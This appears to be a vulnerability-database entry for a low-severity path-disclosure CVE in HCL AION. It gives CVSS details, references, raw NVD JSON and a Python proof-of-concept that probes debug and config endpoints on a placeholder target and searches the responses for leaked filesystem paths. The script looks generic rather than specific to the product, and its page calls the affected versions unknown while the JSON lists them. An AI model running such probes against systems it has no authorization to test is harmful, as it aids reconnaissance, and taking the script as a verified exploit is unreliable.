CVE-2025-52642

Description

HCL AION is affected by a vulnerability where internal filesystem paths may be exposed through application responses or system behaviour. Exposure of internal paths may reveal environment structure details which could potentially aid in further targeted attacks or information disclosure.

CVSS Details

CVSS Score

3.3

Severity

LOW

CVSS Vector

CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:hcltech:aion:*:*:*:*:*:*:*:* - VULNERABLE

HCL AION 所有版本（具体版本需参考官方公告）

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# CVE-2025-52642 PoC - Path Disclosure in HCL AION
# This PoC demonstrates how internal filesystem paths may be exposed

import requests
import re

target = "http://target-server:port/aion"

def check_path_disclosure():
    """Check if internal paths are exposed in application responses"""
    
    # Common endpoints that might leak path information
    endpoints = [
        "/api/v1/system/info",
        "/api/v1/config",
        "/api/v1/logs",
        "/api/v1/files/download",
        "/health",
        "/debug",
        "/actuator/env"
    ]
    
    exposed_paths = []
    
    for endpoint in endpoints:
        try:
            response = requests.get(target + endpoint, timeout=10)
            content = response.text
            
            # Look for filesystem path patterns
            path_patterns = [
                r'/[a-zA-Z0-9_/.-]+\.(log|txt|conf|xml|json|yaml|yml)',
                r'C:\\[a-zA-Z0-9_\\.-]+',
                r'/opt/[a-zA-Z0-9_/.-]+',
                r'/home/[a-zA-Z0-9_/.-]+',
                r'/var/[a-zA-Z0-9_/.-]+',
                r'/usr/local/[a-zA-Z0-9_/.-]+',
                r'\s[a-zA-Z]:\\[^\s]+',
                r'"[a-zA-Z]:\\[^"]+"'
            ]
            
            for pattern in path_patterns:
                matches = re.findall(pattern, content)
                if matches:
                    exposed_paths.append({
                        'endpoint': endpoint,
                        'paths': matches
                    })
                    print(f"[+] Path disclosure found at {endpoint}: {matches}")
                    
        except requests.RequestException as e:
            print(f"[-] Error accessing {endpoint}: {e}")
    
    return exposed_paths

if __name__ == "__main__":
    print("CVE-2025-52642 Path Disclosure PoC")
    print("=" * 50)
    results = check_path_disclosure()
    
    if results:
        print(f"\n[!] {len(results)} endpoint(s) exposed internal paths")
    else:
        print("\n[-] No path disclosure detected")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-52642
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-52642
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-52642/
[4] VulDB https://vuldb.com/cve/CVE-2025-52642
[5] https://support.hcl-software.com/csm?id=kb_article&sysparm_article=KB0129410

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-52642", "sourceIdentifier": "[email protected]", "published": "2026-03-16T15:16:18.300", "lastModified": "2026-04-27T18:34:17.243", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "HCL AION is affected by a vulnerability where internal filesystem paths may be exposed through application responses or system behaviour. Exposure of internal paths may reveal environment structure details which could potentially aid in further targeted attacks or information disclosure."}, {"lang": "es", "value": "HCL AION está afectado por una vulnerabilidad donde las rutas internas del sistema de archivos pueden ser expuestas a través de las respuestas de la aplicación o el comportamiento del sistema. La exposición de rutas internas puede revelar detalles de la estructura del entorno, lo que podría potencialmente ayudar en ataques dirigidos adicionales o revelación de información."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:L/I:L/A:N", "baseScore": 3.3, "baseSeverity": "LOW", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 0.8, "impactScore": 2.5}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-538"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:hcltech:aion:*:*:*:*:*:*:*:*", "versionStartIncluding": "2.0.0", "versionEndExcluding": "2.1.2", "matchCriteriaId": "1AD0DD06-7840-4FFE-8BCF-1B94410B237D"}]}]}], "references": [{"url": "https://support.hcl-software.com/csm?id=kb_article&sysparm_article=KB0129410", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}